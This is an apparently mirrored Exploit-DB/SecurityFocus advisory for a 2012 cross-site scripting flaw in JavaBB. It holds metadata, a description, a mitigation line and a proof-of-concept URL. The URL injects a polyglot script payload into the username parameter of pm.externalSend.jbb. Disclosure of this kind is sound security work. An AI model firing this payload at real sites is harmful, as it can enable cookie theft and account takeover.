JavaBB Cross-Site Scripting Vulnerability

vendor:

JavaBB

by:

SecurityFocus

7,5

CVSS

HIGH

Cross-Site Scripting

CWE

Product Name: JavaBB

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

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Nuclei References: N/A

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Platforms Tested: N/A

2012

JavaBB Cross-Site Scripting Vulnerability

JavaBB is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to generate dynamic content.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/52545/info

JavaBB is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/pm.externalSend.jbb?userId=42888&username=teapro%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E